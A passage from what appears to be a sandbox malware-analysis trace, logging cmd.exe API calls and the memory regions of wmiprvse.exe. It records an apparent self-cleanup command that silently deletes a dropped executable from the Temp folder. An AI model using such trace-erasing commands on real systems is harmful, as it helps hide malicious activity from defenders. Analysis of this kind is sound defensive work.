lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de840 | out: phkResult=0x3de840*=0x68) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x40, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x1, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x1, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x0, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x9, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x9, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x9, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegCloseKey (hKey=0x68) returned 0x0 [0089.668] time (in: timer=0x0 | out: timer=0x0) returned 0x5b17aed5 [0089.668] srand (_Seed=0x5b17aed5) [0089.668] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" [0089.668] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" [0089.668] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7f5260 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.669] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x774510, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0089.669] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0089.669] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.669] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.669] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.669] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0089.669] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0089.669] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0089.669] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0089.669] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0089.669] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0089.669] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0089.669] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0089.669] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0089.669] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3df60c | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.669] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x104, lpBuffer=0x3df60c, lpFilePart=0x3df608 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x3df608*="Desktop") returned 0x1a [0089.669] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0089.669] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3df388 | out: lpFindFileData=0x3df388) returned 0x774720 [0089.669] FindClose (in: hFindFile=0x774720 | out: hFindFile=0x774720) returned 1 [0089.669] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE", lpFindFileData=0x3df388 | out: lpFindFileData=0x3df388) returned 0x774720 [0089.669] FindClose (in: hFindFile=0x774720 | out: hFindFile=0x774720) returned 1 [0089.669] _wcsnicmp (_String1="QJ4SUK~1", _String2="qj4SUKboE", _MaxCount=0x9) returned 28 [0089.669] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", lpFindFileData=0x3df388 | out: lpFindFileData=0x3df388) returned 0x774720 [0089.670] FindClose (in: hFindFile=0x774720 | out: hFindFile=0x774720) returned 1 [0089.670] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0089.670] SetCurrentDirectoryW (lpPathName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 1 [0089.670] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\qj4SUKboE\\Desktop") returned 1 [0089.670] GetEnvironmentStringsW () returned 0x772228* [0089.670] FreeEnvironmentStringsW (penv=0x772228) returned 1 [0089.670] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7f5260 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.670] GetConsoleOutputCP () returned 0x1b5 [0089.670] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.670] GetUserDefaultLCID () returned 0x409 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a7f4950, cchData=8 | out: lpLCData=":") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3df74c, cchData=128 | out: lpLCData="0") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3df74c, cchData=128 | out: lpLCData="0") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3df74c, cchData=128 | out: lpLCData="1") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a7f4940, cchData=8 | out: lpLCData="/") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a7f4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a7f4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a7f4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a7f4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a7f4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a7f4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a7f4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a7f4930, cchData=8 | out: lpLCData=".") returned 2 [0089.671] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a7f4920, cchData=8 | out: lpLCData=",") returned 2 [0089.671] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0089.672] GetConsoleTitleW (in: lpConsoleTitle=0x7722b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.672] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75440000 [0089.672] GetProcAddress (hModule=0x75440000, lpProcName="CopyFileExW") returned 0x75473b92 [0089.672] GetProcAddress (hModule=0x75440000, lpProcName="IsDebuggerPresent") returned 0x75454a5d [0089.672] GetProcAddress (hModule=0x75440000, lpProcName="SetConsoleInputExeNameW") returned 0x7546a79d [0089.672] _wcsicmp (_String1="del", _String2=")") returned 59 [0089.672] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0089.672] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0089.672] _wcsicmp (_String1="IF", _String2="del") returned 5 [0089.672] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0089.672] _wcsicmp (_String1="REM", _String2="del") returned 14 [0089.672] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0089.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.674] GetFileType (hFile=0x7) returned 0x2 [0089.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.674] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3df644 | out: lpMode=0x3df644) returned 1 [0089.674] _dup (_FileHandle=1) returned 3 [0089.674] _close (_FileHandle=1) returned 0 [0089.674] _wcsicmp (_String1="NUL", _String2="con") returned 11 [0089.674] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x3df614, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0089.674] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 1 [0089.674] _get_osfhandle (_FileHandle=1) returned 0x74 [0089.674] GetFileType (hFile=0x74) returned 0x2 [0089.675] GetStdHandle (nStdHandle=0xfffffff5) returned 0x74 [0089.675] GetConsoleMode (in: hConsoleHandle=0x74, lpMode=0x3df5f8 | out: lpMode=0x3df5f8) returned 0 [0089.675] GetConsoleTitleW (in: lpConsoleTitle=0x3df444, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.675] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0089.675] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0089.675] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0089.678] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x3df1fc | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.678] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x3de28c | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.678] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x3de4bc, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x3de4c0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x3de4bc*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0089.678] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0089.678] _wcsicmp (_String1="cmd_.exe", _String2=".") returned 53 [0089.678] _wcsicmp (_String1="cmd_.exe", _String2="..") returned 53 [0089.678] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 0xffffffff [0089.678] GetLastError () returned 0x2 [0089.679] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x772a40 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.679] SetErrorMode (uMode=0x0) returned 0x0 [0089.679] SetErrorMode (uMode=0x1) returned 0x0 [0089.679] GetFullPathNameW (in: lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", nBufferLength=0x104, lpBuffer=0x3de8e0, lpFilePart=0x3de8c8 | out: lpBuffer="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", lpFilePart=0x3de8c8*="cmd_.exe") returned 0x2d [0089.679] SetErrorMode (uMode=0x0) returned 0x1 [0089.679] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp")) returned 0x2010 [0089.679] _wcsicmp (_String1="cmd_.exe", _String2=".") returned 53 [0089.679] _wcsicmp (_String1="cmd_.exe", _String2="..") returned 53 [0089.679] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 0xffffffff [0089.679] GetLastError () returned 0x2 [0089.679] FindFirstFileExW (in: lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", fInfoLevelId=0x0, lpFindFileData=0x7751cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7751cc) returned 0xffffffff [0089.679] GetLastError () returned 0x2 [0089.679] _get_osfhandle (_FileHandle=2) returned 0xb [0089.679] GetFileType (hFile=0xb) returned 0x2 [0089.679] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0089.679] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x3deebc | out: lpMode=0x3deebc) returned 1 [0089.679] _get_osfhandle (_FileHandle=2) returned 0xb [0089.679] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x3deef0 | out: lpConsoleScreenBufferInfo=0x3deef0) returned 1 [0089.680] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x40002712, dwLanguageId=0x0, lpBuffer=0x4a804640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Could Not Find %1\r\n") returned 0x13 [0089.688] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x40002712, dwLanguageId=0x0, lpBuffer=0x4a804640, nSize=0x2000, Arguments=0x3def30 | out: lpBuffer="Could Not Find C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe\r\n") returned 0x3e [0089.688] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a804640*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x3def14, lpReserved=0x0 | out: lpBuffer=0x4a804640*, lpNumberOfCharsWritten=0x3def14*=0x3e) returned 1 [0089.688] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0089.689] _close (_FileHandle=3) returned 0 [0089.689] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.689] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.689] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.689] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7f41ac | out: lpMode=0x4a7f41ac) returned 1 [0089.689] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.689] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7f41b0 | out: lpMode=0x4a7f41b0) returned 1 [0089.689] SetConsoleInputExeNameW () returned 0x1 [0089.689] GetConsoleOutputCP () returned 0x1b5 [0089.689] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.689] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.690] exit (_Code=0) Process: id = "24" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5f205000" os_pid = "0x878" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x334" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002c1b5" [0xc000000f] Region: id = 3501 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3502 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3503 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3504 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3505 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3506 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3507 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3508 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3509 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3510 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3511 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3512 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3513 start_va = 0x290000 end_va = 0x417fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3514 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3515 start_va = 0x480000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3516 start_va = 0x580000 end_va = 0x700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3517 start_va = 0x770000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 3518 start_va = 0x780000 end_va = 0x83ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 3519 start_va = 0x8b0000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3520 start_va = 0x930000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 3521 start_va = 0xa30000 end_va = 0xcfefff entry_point = 0xa30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3522 start_va = 0xd00000 end_va = 0x10f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 3523 start_va = 0x11b0000 end_va = 0x122ffff entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 3524 start_va = 0x1270000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 3525 start_va = 0x1320000 end_va = 0x139ffff entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 3526 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 3527 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 3528 start_va = 0x15e0000 end_va = 0x165ffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 3529 start_va = 0x1710000 end_va = 0x180ffff entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 3530 start_va = 0x1810000 end_va = 0x1b52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001810000" filename = "" Region: id = 3531 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3532 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3533 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3534 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3535 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3536 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3537 start_va = 0xff220000 end_va = 0xff27efff entry_point = 0xff220000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 3538 start_va = 0x7fef3380000 end_va = 0x7fef33abfff entry_point = 0x7fef3380000 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 3539 start_va = 0x7fef33f0000 end_va = 0x7fef343bfff entry_point = 0x7fef33f0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 3540 start_va = 0x7fef3440000 end_va = 0x7fef3639fff entry_point = 0x7fef3440000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 3541 start_va = 0x7fef90f0000 end_va = 0x7fef90f7fff entry_point = 0x7fef90f0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 3542 start_va = 0x7fef9600000 end_va = 0x7fef9615fff entry_point = 0x7fef9600000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 3543 start_va = 0x7fef9760000 end_va = 0x7fef9785fff entry_point = 0x7fef9760000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3544 start_va = 0x7fef9900000 end_va = 0x7fef9913fff entry_point = 0x7fef9900000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3545 start_va = 0x7fef9be0000 end_va = 0x7fef9beefff entry_point = 0x7fef9be0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3546 start_va = 0x7fef9bf0000 end_va = 0x7fef9c16fff entry_point = 0x7fef9bf0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3547 start_va = 0x7fef9c20000 end_va = 0x7fef9d01fff entry_point = 0x7fef9c20000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3548 start_va = 0x7fef9e90000 end_va = 0x7fef9f15fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3549 start_va = 0x7fefa8c0000 end_va = 0x7fefa8cefff entry_point = 0x7fefa8c0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 3550 start_va = 0x7fefb2b0000 end_va = 0x7fefb2dcfff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3551 start_va = 0x7fefb470000 end_va = 0x7fefb484fff entry_point = 0x7fefb470000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 3552 start_va = 0x7fefb5d0000 end_va = 0x7fefb5e0fff entry_point = 0x7fefb5d0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3553 start_va = 0x7fefc280000 end_va = 0x7fefc2abfff entry_point = 0x7fefc280000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3554 start_va = 0x7fefc830000 end_va = 0x7fefc839fff entry_point = 0x7fefc830000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3555 start_va = 0x7fefc930000 end_va = 0x7fefc976fff entry_point = 0x7fefc930000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3556 start_va = 0x7fefc9c0000 end_va = 0x7fefca16fff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3557 start_va = 0x7fefcc30000 end_va = 0x7fefcc46fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3558 start_va = 0x7fefd200000 end_va = 0x7fefd224fff entry_point = 0x7fefd200000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3559 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3560 start_va = 0x7fefd2e0000 end_va = 0x7fefd31cfff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3561 start_va = 0x7fefd320000 end_va = 0x7fefd333fff entry_point = 0x7fefd320000 region_type = mapped_file name = "rpcrtremote.dll" filename = 